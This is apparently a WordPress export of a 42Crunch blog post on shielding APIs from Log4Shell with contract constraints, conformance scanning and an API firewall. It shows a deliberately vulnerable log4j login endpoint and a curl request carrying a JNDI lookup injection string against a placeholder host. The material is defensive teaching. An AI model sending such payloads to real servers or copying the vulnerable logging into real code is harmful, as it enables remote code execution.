{"id":11061,"date":"2022-01-26T16:28:29","date_gmt":"2022-01-26T16:28:29","guid":{"rendered":"https:\/\/staging-site.42crunch.com\/?p=11061"},"modified":"2022-11-28T18:33:52","modified_gmt":"2022-11-28T18:33:52","slug":"protecting-your-apis-against-log4shell-with-42crunch","status":"publish","type":"post","link":"https:\/\/staging2022.42crunch.com\/protecting-your-apis-against-log4shell-with-42crunch\/","title":{"rendered":"Protecting your APIs against Log4Shell with 42Crunch"},"content":{"rendered":"<p dir=\"auto\">On December 9th, 2021, the <cite>log4shell<\/cite> vulnerability hit the news and it has since been every security team&#8217;s worst nightmare: trivially exploitable, huge impact with RCE (Remote Code Execution), on a component widely used across traditional enterprise technological stacks, both in in-house and third-party software. All this combined explains its CVSS rating of 10 \u2013 the highest possible. It is probably one of the worst flaws I have witnessed in my security career; it gives everything to an attacker for little to no effort. In the last few days, we have seen other vulnerabilities targeting the log4j library.<\/p>\n<p dir=\"auto\">Understandably, a lot of articles have been written on the <cite>log4shell<\/cite> vulnerability and the subsequent vulnerabilities, to explain\u00a0<a href=\"https:\/\/nakedsecurity.sophos.com\/2021\/12\/13\/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it\/\" rel=\"nofollow\">what it does and how it does it<\/a>, or articles on how to <a href=\"https:\/\/cloud.google.com\/logging\/docs\/log4j2-vulnerability\" rel=\"nofollow\">detect attempts of exploitation<\/a>.<\/p>\n<p dir=\"auto\">In this article we take a different approach: we show how a positive security model dramatically reduces your attack surface, effectively hindering and\/or blocking such injections, and how a positive security approach can be implemented to secure your APIs from the development phase to the production environments with 42Crunch.<\/p>\n<h2 dir=\"auto\">Creating an API contract<\/h2>\n<p dir=\"auto\">Adopting a positive security approach to API design starts with creating an API contract. Think of an API contract as a blueprint of your APIs, a list of formal rules of what your API accepts and how it responds. By definition, in a positive security model, everything not formally allowed by the contract is rejected.<\/p>\n<p dir=\"auto\">Two approaches can be used to create an API contract:<\/p>\n<ul dir=\"auto\">\n<li>Design first, designing the API contract and then implementing it<\/li>\n<li>Code first, developing the API and generating a contract from it<\/li>\n<\/ul>\n<p dir=\"auto\">Although we are a bit opinionated and advise on a design-first approach as, from a security standpoint, it helps tremendously with threat modeling, 42Crunch integrates identically with both code-first and design-first approaches.<\/p>\n<p dir=\"auto\">Here, let&#8217;s take a simple flawed contract written in OASv3 format:<\/p>\n<pre><code class=\"language-json\">&quot;\/login&quot;: {\n            &quot;post&quot;: {\n                &quot;summary&quot;: &quot;Login to the endpoint&quot;,\n                &quot;description&quot;: &quot;A username is passed as parameter and logged by log4j&quot;,\n                &quot;operationId&quot;: &quot;logUser&quot;,\n                &quot;requestBody&quot;: {\n\t\t            &quot;required&quot;: true,\n                    &quot;content&quot;: {\n                        &quot;application\/json&quot;: {\n                            &quot;schema&quot;: {\n                                &quot;additionalProperties&quot;: false,\n                                &quot;type&quot;: &quot;object&quot;,\n                                &quot;properties&quot;: {\n                                    &quot;user&quot;: {\n                                        &quot;type&quot;: &quot;string&quot;\n                                    }\n                                }\n                            }\n                        }\n                    }\n                },\n                ...<\/code><\/pre>\n<p dir=\"auto\">From a positive security model standpoint, there is a security issue with how the\u00a0<code>user<\/code>\u00a0property is defined.<\/p>\n<p dir=\"auto\">How is this definition flawed? This API contract excerpt defines a \/login endpoint, that in POST requests accepts a JSON object in its body with a <code>user<\/code>\u00a0property of type string. The main issue here is that this\u00a0<code>user<\/code>\u00a0property is not constrained in any way by the contract. Its maximum length is not specified, so the\u00a0<code>user<\/code>\u00a0property could be a 100MB string. Also, every possible character can be inside the\u00a0<code>user<\/code>\u00a0property, e.g.:\u00a0<code>$<\/code>,\u00a0<code>\u00e9<\/code>,\u00a0<code>!<\/code>, quotes, emojis, etc.<\/p>\n<p dir=\"auto\">A 42Crunch security audit of this API contract \u2014 ran for example in one of our free IDE plugins (<a href=\"https:\/\/marketplace.visualstudio.com\/items?itemName=42Crunch.vscode-openapi\" rel=\"nofollow\">Visual Studio Code<\/a>,\u00a0<a href=\"https:\/\/plugins.jetbrains.com\/plugin\/14837-openapi-swagger-editor\" rel=\"nofollow\">IntelliJ<\/a>,\u00a0<a href=\"https:\/\/marketplace.eclipse.org\/content\/openapi-swagger-editor\">Eclipse<\/a>) \u2014 finds the following issues on the <code>user<\/code>\u00a0property (excerpt):<\/p>\n<ul dir=\"auto\">\n<li><strong>String schema has no pattern defined<\/strong><br \/>\nPossible exploit scenario: If you do not define a pattern for strings, any string is accepted as the input. This could open your backend server to various attacks, such as SQL injection.<\/li>\n<li><strong>String schema has no maximum length defined<\/strong><br \/>\nPossible exploit scenario: If you do not limit the length of strings, attackers can send longer strings to your API than what your backend server can handle. This could overload your backend server and make it crash. In some cases, this could cause a buffer overflow and allow for executing arbitrary code. Long strings are also more prone to injection attacks.<\/li>\n<\/ul>\n<p dir=\"auto\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11429 size-full\" src=\"https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/audit-1024x377-1.png\" alt=\"\" width=\"1024\" height=\"377\" srcset=\"https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/audit-1024x377-1.png 1024w, https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/audit-1024x377-1-300x110.png 300w, https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/audit-1024x377-1-768x283.png 768w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p dir=\"auto\">How do these issues manifest themselves in an actual implementation?<\/p>\n<h2 dir=\"auto\">Exploiting a badly designed API<\/h2>\n<p dir=\"auto\">To make this issue concrete, let&#8217;s develop a simple vulnerable implementation of this login endpoint that uses log4j 2.14.1, vulnerable to <cite>log4shell<\/cite>. This endpoint just outputs to the logs which the user has logged in, returning only <code>{&quot;msg&quot;: &quot;OK&quot;}<\/code>\u00a0to the client. It looks something like this:<\/p>\n<div class=\"highlight highlight-source-java position-relative overflow-auto\">\n<pre><code class=\"language-java\">public ResponseEntity&lt;LoggedSchema&gt; logUser(InlineObject inlineObject) {\n        LoggedSchema response = new LoggedSchema();\n        logger.info(&quot;User {} logged in&quot;, inlineObject.getUser());\n        response.msg(&quot;OK&quot;);\n        return new ResponseEntity&lt;&gt;(response, HttpStatus.OK);\n    }<\/code><\/pre>\n<\/div>\n<p dir=\"auto\">Let&#8217;s try a simple call to this endpoint:<\/p>\n<div class=\"highlight highlight-text-shell-session position-relative overflow-auto\">\n<pre>$ <span class=\"pl-s1\">curl -XPOST http:\/\/localhost:8080\/login -H <span class=\"pl-s\"><span class=\"pl-pds\">'<\/span>Content-type: application\/json<span class=\"pl-pds\">'<\/span><\/span> -d<span class=\"pl-s\"><span class=\"pl-pds\">'<\/span>{\"user\": \"xliic\"}<span class=\"pl-pds\">'<\/span><\/span><\/span>\r\n<span class=\"pl-c1\">{\"msg\":\"OK\"}<\/span><\/pre>\n<\/div>\n<p dir=\"auto\">In the running API the following log pops up:<\/p>\n<div class=\"snippet-clipboard-content position-relative overflow-auto\">\n<pre><code>2021-12-20 11:36:26.154  INFO 527382 --- [nio-8080-exec-2] c.x.l.LoginApiImpl : User xliic logged in\n<\/code><\/pre>\n<\/div>\n<p dir=\"auto\">Now, instead of this\u00a0<code>xliic<\/code>\u00a0string let&#8217;s try an injection. As this application is using a vulnerable version of log4j, an attacker could try injecting inside the\u00a0<code>user<\/code>\u00a0property a JNDI lookup string, such as the <cite>log4shell<\/cite> vulnerability:<\/p>\n<div class=\"highlight highlight-text-shell-session position-relative overflow-auto\">\n<pre>$ <span class=\"pl-s1\">curl -XPOST http:\/\/localhost:8080\/login -H <span class=\"pl-s\"><span class=\"pl-pds\">'<\/span>Content-type: application\/json<span class=\"pl-pds\">'<\/span><\/span> -d<span class=\"pl-s\"><span class=\"pl-pds\">'<\/span>{\"user\": \"${jndi:ldap:\/\/willnotwork\/xliic}\"}<span class=\"pl-pds\">'<\/span><\/span><\/span>\r\n<span class=\"pl-c1\">{\"msg\":\"OK\"}<\/span><\/pre>\n<\/div>\n<p dir=\"auto\">The application logs display the following error, showing that the vulnerability was triggered but failed because the API could not resolve the non-existing\u00a0<code>willnotwork<\/code>\u00a0host to retrieve the resource:<\/p>\n<div class=\"snippet-clipboard-content position-relative overflow-auto\">\n<pre><code>2021-12-20 11:37:20.879  INFO 527382 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet : Completed initialization in 1 ms\n2021-12-20 11:37:20,952 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap:\/\/willnotwork\/xliic]. javax.naming.CommunicationException: willnotwork:389 [Root exception is java.net.UnknownHostException: willnotwork]\n\tat java.naming\/com.sun.jndi.ldap.Connection.&lt;init&gt;(Connection.java:252)\n\tat java.naming\/com.sun.jndi.ldap.LdapClient.&lt;init&gt;(LdapClient.java:137)\n\tat java.naming\/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1616)\n\tat java.naming\/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2847)\n\tat java.naming\/com.sun.jndi.ldap.LdapCtx.&lt;init&gt;(LdapCtx.java:348)\n...\n<\/code><\/pre>\n<\/div>\n<h2 dir=\"auto\">Improving the API contract and the security posture<\/h2>\n<p dir=\"auto\">We need to understand what happened \u2014 we are dealing with multiple critical security issues here:<\/p>\n<ol dir=\"auto\">\n<li>A vulnerable version of log4j<\/li>\n<li>Improper data definition and validation that enables injection (cf.\u00a0<a href=\"https:\/\/apisecurity.io\/encyclopedia\/content\/owasp\/api8-injection.htm\" rel=\"nofollow\">OWASP API8:2019<\/a>)<\/li>\n<\/ol>\n<p dir=\"auto\">Because of the improper data validation, the exploitation of the log4j vulnerability is made trivial. An organization attack surface expands with every input or output that is not formally constrained and validated. No amount of exploit detection will ever fill that security hole.<\/p>\n<p dir=\"auto\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11431 size-full\" src=\"https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/datavalidation-1024x576-1.png\" alt=\"\" width=\"1024\" height=\"576\" srcset=\"https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/datavalidation-1024x576-1.png 1024w, https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/datavalidation-1024x576-1-300x169.png 300w, https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/datavalidation-1024x576-1-768x432.png 768w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p dir=\"auto\">But how can this parameter be constrained?<\/p>\n<p dir=\"auto\">The problem organizations face is that when security teams want to address this question, they are often don&#8217;t know what a specific API is supposed to do or accept. Consequently, they do not have the knowledge to properly enforce an effective security policy on these components besides using attack detection tools (tools to identify bad actors, tools to identify traffic that &#8220;looks&#8221; suspicious, etc.). And in rare cases they have this knowledge, they have to implement these security policies manually and update them as the API changes.<\/p>\n<p dir=\"auto\">In an organization, developers have this knowledge. Improving the security posture is a matter of implementing a virtuous feedback loop between the development and security team, sharing this knowledge in a structured format to enable security automation.<\/p>\n<p dir=\"auto\">In our example, the 42Crunch audit report gives some remediation guidelines of the API contract. Following these guidelines, the API developer specifies the business constraints (<em>pattern<\/em> and <em>maxLength<\/em>) on the\u00a0<code>user<\/code>\u00a0property.<\/p>\n<pre><code class=\"language-json\">    &quot;properties&quot;: {\n         &quot;user&quot;: {\n         &quot;type&quot;: &quot;string&quot;,\n         &quot;pattern&quot;: &quot;^[a-zA-Z][a-zA-Z0-9]*$&quot;,\n         &quot;maxLength&quot;: 64,\n          }\n    }<\/code><\/pre>\n<p dir=\"auto\">The\u00a0<code>pattern<\/code>\u00a0limits the\u00a0<code>user<\/code>\u00a0property to strings that starts with a lower or uppercase alphabetical character and continue with any alphabetical character or number. Example valid strings are\u00a0<code>&quot;abc123&quot;<\/code>\u00a0or\u00a0<code>&quot;Hworld1&quot;<\/code>. However,\u00a0<code>&quot;0hey&quot;<\/code>\u00a0is not allowed, because the user cannot start with a number, neither is\u00a0<code>&quot;a$bc&quot;<\/code>\u00a0as the\u00a0<code>&quot;$&quot;<\/code>\u00a0character is not allowed anywhere in this string. Also, the\u00a0<code>user<\/code>\u00a0property is constrained to a maximum of 64 characters.<\/p>\n<p dir=\"auto\">In practice, by specifying these limitations, we have made a formal definition of the parameters allowed by our API that we can then leverage. The API audit score of our API is now 100\/100.<\/p>\n<h2 dir=\"auto\">Validating the implementation by ensuring conformance<\/h2>\n<p dir=\"auto\">Whatever the API contract states, it is of limited value if the implementation differs. One crucial step in adopting a positive security approach is ensuring that every formal definition is properly implemented. At 42Crunch, the Conformance scanner does just that: it validates whether the API properly implements the limitations and constraints of the API Contract.<\/p>\n<p dir=\"auto\">Let&#8217;s run the conformance scan on this new contract while keeping the implementation vulnerable:<\/p>\n<div class=\"highlight highlight-text-shell-session position-relative overflow-auto\">\n<pre>$ <span class=\"pl-s1\">$ docker run -e SCAN_TOKEN=<span class=\"pl-k\">*****<\/span> 42crunch\/scand-agent:latest<\/span>\r\n<span class=\"pl-c1\">scand 1.14.1-release:v1.14.1 : 83c525177f3a9b70ef54d05f11139cba1f275f72-N :Mon Dec 20 11:21:02 2021 user@10c96cc2c988<\/span>\r\n<span class=\"pl-c1\">{\"level\":\"error\",\"time\":\"2021-12-20T11:21:04.75510816Z\",\"message\":\"scan terminated with state [1] : done\"}<\/span><\/pre>\n<\/div>\n<p dir=\"auto\">In the logs we can find some of the tests ran by the scanner:<\/p>\n<div class=\"highlight highlight-text-shell-session position-relative overflow-auto\">\n<pre><span class=\"pl-c1\">...<\/span>\r\n<span class=\"pl-c1\">2021-12-20 12:21:04.701  INFO 531009 --- [nio-8080-exec-9] c.x.l.LoginApiImpl                       : User Qz~A-C-8-~-shNM~2SytwFULX.cIW7T_ logged in<\/span>\r\n<span class=\"pl-c1\">2021-12-20 12:21:04.739  INFO 531009 --- [io-8080-exec-10] c.x.l.LoginApiImpl                       : User goilA0U1WxNeW1gdgUVDsEWJ77aX7tLFJ84qYU6UrN8ctecwZt5S4zjhD0tXRTmkY logged in<\/span><\/pre>\n<\/div>\n<p dir=\"auto\">In the Conformance scan report, we see that 15 security and conformance issues are found. Two of the listed issues are:<\/p>\n<ul dir=\"auto\">\n<li>Test: The generated value does not follow the property pattern for strings\u00a0<strong>[FAILURE]<\/strong><br \/>\nIn this test, the scanner generated a\u00a0<code>user<\/code>\u00a0property that does not match the pattern allowed. The API did not reject the request, indicating that pattern constraints on this parameter are not implemented.<\/li>\n<li>Test: The generated value does not follow the property maxLength for strings\u00a0<strong>[FAILURE]<\/strong><br \/>\nIn this test, the scanner generated a\u00a0<code>user<\/code>\u00a0property that does not match the maximum length defined. The API did not reject the request, indicating maximum length constraints on this parameter are not implemented.<\/li>\n<\/ul>\n<p dir=\"auto\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11432 size-full\" src=\"https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/conformance-1024x146-1.png\" alt=\"\" width=\"1024\" height=\"146\" srcset=\"https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/conformance-1024x146-1.png 1024w, https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/conformance-1024x146-1-300x43.png 300w, https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/conformance-1024x146-1-768x110.png 768w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p dir=\"auto\">Here the Conformance scan allowed us to identify that the API does not enforce the API contract constraints. Because of that, the API is vulnerable to multiple injections such as the <cite>log4shell<\/cite> vulnerability.<\/p>\n<p dir=\"auto\">We already saw that the audit plugin was available for developers inside their IDEs. But API audits&amp;Conformance scans can also be integrated through native plugins in the CI\/CD pipelines for security teams to enforce security gates in the build process and ensure no such issues will be found in production.<\/p>\n<p dir=\"auto\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11428 size-full\" src=\"https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/sdlc.png\" alt=\"\" width=\"906\" height=\"571\" srcset=\"https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/sdlc.png 906w, https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/sdlc-300x189.png 300w, https:\/\/staging2022.42crunch.com\/wp-content\/uploads\/2022\/01\/sdlc-768x484.png 768w\" sizes=\"(max-width: 906px) 100vw, 906px\" \/><\/p>\n<h2 dir=\"auto\">Enforcing the contract to protect the API<\/h2>\n<p dir=\"auto\">Now, imagine this vulnerable implementation is running in production. How can this API be protected with this positive security approach while the implementation is being fixed to conform to the secured contract? A gap in patching is a major issue for organizations.<\/p>\n<p dir=\"auto\">To address this, 42Crunch developed a\u00a0very low\u00a0latency API firewall that autoconfigures itself with an API contract. This firewall will only forward to the API server\u00a0and to the API client traffic that conforms to the contract, enforcing this positive security model approach. Also, this firewall supports security policies (rate limiting, JWT token validation, etc.) that can be injected into the contract to enable security-as-code.<\/p>\n<p dir=\"auto\">Besides the low latency of our API firewall, one major difference with a traditional WAF approach is this formal definition with an API contract. By looking at a request and a contract a security engineer can know without any doubt whether a request will be blocked or not. If the contract explicitly allows it, then it is allowed; if not, it is denied. There is no grey area, no guesswork, no false positive or false negatives, by definition.<\/p>\n<p dir=\"auto\">Let&#8217;s run the same requests through the API firewall:<\/p>\n<div class=\"highlight highlight-text-shell-session position-relative overflow-auto\">\n<pre>$ <span class=\"pl-s1\">curl -XPOST http:\/\/localhost:8080\/login -H <span class=\"pl-s\"><span class=\"pl-pds\">'<\/span>Content-type: application\/json<span class=\"pl-pds\">'<\/span><\/span> -d<span class=\"pl-s\"><span class=\"pl-pds\">'<\/span>{\"user\": \"xliic\"}<span class=\"pl-pds\">'<\/span><\/span><\/span>\r\n<span class=\"pl-c1\">{\"msg\":\"OK\"}<\/span><\/pre>\n<\/div>\n<p dir=\"auto\">This request goes through, without any issue as the <code>user<\/code>\u00a0property conforms to the API contract.<\/p>\n<div class=\"highlight highlight-text-shell-session position-relative overflow-auto\">\n<pre>$ <span class=\"pl-s1\">curl -XPOST http:\/\/localhost:8080\/login -H <span class=\"pl-s\"><span class=\"pl-pds\">'<\/span>Content-type: application\/json<span class=\"pl-pds\">'<\/span><\/span> -d<span class=\"pl-s\"><span class=\"pl-pds\">'<\/span>{\"user\": \"${jndi:ldap:\/\/willnotwork\/xliic}\"}<span class=\"pl-pds\">'<\/span><\/span><\/span>\r\n<span class=\"pl-c1\">{<\/span>\r\n<span class=\"pl-c1\">    \"status\": 403,<\/span>\r\n<span class=\"pl-c1\">    \"title\": \"request validation\",<\/span>\r\n<span class=\"pl-c1\">    \"detail\": \"Forbidden\",<\/span>\r\n<span class=\"pl-c1\">    \"uuid\": \"f8a9cb12-8be9-4dc1-9e3d-738008b91f1a\"<\/span>\r\n<span class=\"pl-c1\">}<\/span><\/pre>\n<\/div>\n<p dir=\"auto\">Here, the request is blocked by the API firewall as it does not conform to the API contract. The tentative injection in the\u00a0<code>user<\/code> property does not match the pattern constraint and is rightfully blocked by the API firewall. The API still has a vulnerability &#8212; both the log4j dependency and the data validation should be patched. But by adopting a positive security model and enforcing it, the attack surface has effectively shrunk and the API is protected.<\/p>\n<h2 dir=\"auto\">Conclusion<\/h2>\n<p>The key takeaways are:<\/p>\n<ul>\n<li>Security must be implemented all across the SDLC \u2014 shift left and shield right<\/li>\n<li>Shrinking the attack surface of APIs starts with data validation<\/li>\n<li>Data validation should be implemented through a formal positive security model<\/li>\n<li>Positive security models avoid security guesswork and enable security automation<\/li>\n<\/ul>\n<p>Stages of positive security model implementation:<\/p>\n<ul>\n<li>Define API inputs and outputs in an API contract<\/li>\n<li>Verify conformance of API implementation against the API contract<\/li>\n<li>Enforce the API contract at runtime<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>On December 9th, 2021, the log4shell vulnerability hit the news and it has since been every security team&#8217;s worst nightmare: trivially exploitable, huge impact with RCE (Remote Code Execution), on a component widely used across traditional enterprise technological stacks, both in in-house and third-party software. All this combined explains its CVSS rating of 10 \u2013 [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":11339,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"How to protect your APIs against Log4Shell with 42Crunch","_seopress_titles_desc":"Log4Shell is a high severity API Security vulnerability affecting applications. 42Crunch can protect API endpoints from attack.\r\n","_seopress_robots_index":"","site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"disabled","ast-hfb-above-header-display":"disabled","ast-hfb-below-header-display":"disabled","ast-hfb-mobile-header-display":"disabled","site-post-title":"disabled","ast-breadcrumbs-content":"disabled","ast-featured-img":"disabled","footer-sml-layout":"disabled","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[6,26],"tags":[16,15],"class_list":["post-11061","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-popular","tag-api-security-training","tag-api-vulnerabilities"],"_links":{"self":[{"href":"https:\/\/staging2022.42crunch.com\/wp-json\/wp\/v2\/posts\/11061"}],"collection":[{"href":"https:\/\/staging2022.42crunch.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging2022.42crunch.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging2022.42crunch.com\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/staging2022.42crunch.com\/wp-json\/wp\/v2\/comments?post=11061"}],"version-history":[{"count":0,"href":"https:\/\/staging2022.42crunch.com\/wp-json\/wp\/v2\/posts\/11061\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging2022.42crunch.com\/wp-json\/wp\/v2\/media\/11339"}],"wp:attachment":[{"href":"https:\/\/staging2022.42crunch.com\/wp-json\/wp\/v2\/media?parent=11061"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/staging2022.42crunch.com\/wp-json\/wp\/v2\/categories?post=11061"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging2022.42crunch.com\/wp-json\/wp\/v2\/tags?post=11061"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}